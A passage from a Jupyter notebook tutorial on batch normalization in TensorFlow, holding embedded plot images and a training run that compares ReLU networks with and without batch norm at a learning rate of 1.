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\n3p1CZCyqys9eW83yHQd59JoMRvdN6ti8GdNF9O7dm/DwcHbu3MnChQs588wzmTBhAosWLWLZsmWM\nHj2ayMgjo8MjIyP59a9/zXXXXceKFSu47rrrAFi/fj3z589nyZIl3H///VRWVrJ8+XKeffZZPvvs\nMxYvXszf/vY3vvjii0bzcvXVV5OZmcnTTz/NihUrGgwIP/nJT8jIyKBv375cf/319OjhHlIzY8YM\nli5dypdffklpaSlvv/123f5mz57NihUr8Hg8XHfddTz++OOsXLmS999/v+4YK1as4OWXX2b16tW8\n/PLL5OTkNJjHM888k8jISD766KOjls+cORMRYfXq1bz00kvccsstdYHr888/59VXX+Xjjz8GYOXK\nlcyaNYt169bx4osvsnHjRpYsWcLNN9/Mk08+GeifLmAheKcQw8tLc3jt813c9dWhXDSmbeZwMaYj\n1L+ib48++xMnTmThwoUsXLiQH/3oR+zatYuFCxeSlJTEWWedFdA+LrroIqKiooiKiqJHjx7s27eP\nBQsWcMUVV9RdzV955ZV8+umnXHrppa3O68MPP8zVV1+N1+vlvPPOq6ve+uijj3jooYcoKSmhoKCA\nkSNHcskllxy17YYNG+jVqxenn346AImJR0aAn3feeSQluYvJESNGsGPHDvr160dDfvGLX/DAAw/w\n+9//vm7ZggULuP322wEYNmwYAwYMYONGN/3blClTSE090rHj9NNPp1cvd54aPHgwX/va1wAYOXIk\nixYtavVn05gQulNwQeFAuYcH3lnHmSelcfu5J3dwpozpemrbFVavXs2oUaM444wzWLRoUd0JNxBR\nUUcGDno8nibrz8PDw6mpOTJivaGR3M2Jj48nKyuLBQsWUFZWxve//31effVVVq9ezXe+850W77Ml\n+T/33HMpLS1l8eLFAe27Nig2dKywsLC692FhYUFpdwihoOCqj574JJcaVR66ekyn7U9vTGc2ceJE\n3n77bVJTU/F4PKSmpnLo0CEWLVrUYFBISEigqKio2f1OmjSJN954g5KSEoqLi3n99deZNGkS6enp\n7N+/n/z8fMrLy3n77beP2rfX621231VVVXz22WcMHjy4LgB069YNr9db1yBeP6+nnHIKe/bsYenS\npYC7C2vtSfgXv/jFUe0OkyZNYvbs2QBs3LiRnTt3csopjTyqrZ2FUFBwdwoLd5byswuGHTUPkDEm\n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\nAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7ecd2dd8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 0.01, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Using a sigmoid activation function works better than the ReLU in the previous example, but without batch normalization it would take a tremendously long time to train the network, if it ever trained at all. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 1, and bad starting weights.**<a id=\"successful_example_lr_1\"></a>" ] }, { "cell_type": "code", "execution_count": 16, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:38<00:00, 1313.14it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.11259999126195908\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:36<00:00, 520.39it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9243997931480408\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.11349999904632568\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9208000302314758\n" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYUAAAEWCAYAAACJ0YulAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xd8VFXawPHfk15JCCVUAQHpihBARd0gFuyLsmKvyGvB\ntrvuu7qu7dVd27rrqivWtbGiiw0RxRoVQaV3pEkJPaEkk57M8/5xJsmkwSQwJGGe7+eTT+bee+be\ncyaT+9x72hVVxRhjjAEIa+wMGGOMaTosKBhjjKlgQcEYY0wFCwrGGGMqWFAwxhhTwYKCMcaYChYU\nDmMi0lVEVEQifMufiMhVgaRtwLHuFpGXDiS/JjhEZKKI/Lmx87E/IpIuIssOdlpTP2LjFJouEfkU\n+ElV7622/nzgeaCTqpbu4/1dgV+AyH2la0DadOBNVe2030IcJL5jfg38UVUfPVTHPZRE5H7gT0Ch\nb9VW4DPgYVXd2lj5qo2InAR8Ur4IxAF5fkn6qurGQ54xc8DsTqFpew24XESk2vorgEn7O3kfZq4C\ndgFXHuoDN/TuqYHeVtVEIAUYDbQD5olI+4bsTETCD2bmyqnqd6qaoKoJQD/f6uTyddUDgoiEiYid\nb5oB+yM1bR8ArYCTyleISEvgHOB13/LZIrJARHJEZJPvarNWIpIhIuN8r8NF5AkRyRKRdcDZ1dJe\nIyIrRCRXRNaJyP/41sfjrhA7iIjH99NBRO4XkTf93n+eiCwTkT2+4/bx27ZeRH4vIotFZK+IvC0i\nMfvIdzwwBrgZ6CkiadW2nygis3zH2iQiV/vWx4rI30Rkg+84M33r0kUks9o+1ovIqb7X94vIFBF5\nU0RygKtFZKiIzPYdY6uIPCMiUX7v7ycin4vILhHZ7qtOayci+SLSyi/dIBHZKSKRdZUXQFVLVHUZ\nMBbYCfzO9/6rRWRmtbyriPTwvX5VRJ4TkekikgeM8K17yLc9XUQyReR3IrLDV5Zr/PbVSkQ+8n2f\n5ojIQ9WPFyjf5/1/IjIbdxdxhIiM8/terS3/PvrSnyoi6/2WM0XktyKyxPf3e0tEouub1rf9LhHZ\nJiKbReR632fWtSHlOtxZUGjCVLUAeIeqV8cXAStVdZFvOc+3PRl3Yr9RRH4dwO6vxwWXY4E03EnX\n3w7f9hbANcDfRWSQquYBZwJb/K4Kt/i/UUSOAt4CbgfaANOBj/xPor5yjAK6AUcDV+8jrxcAHuC/\nwAzcXUP5sbrggtTTvmMNBBb6Nj8BDAZOwF15/wHw7utD8XM+MAX3uU4CyoA7gNbA8cBI4CZfHhKB\nL4BPgQ5AD+BLVd0GZPjKWu4KYLKqlgSSCVUtAz7E78IgAJcCDwOJQG0n9HZAEtARuA54VtzFBsCz\nu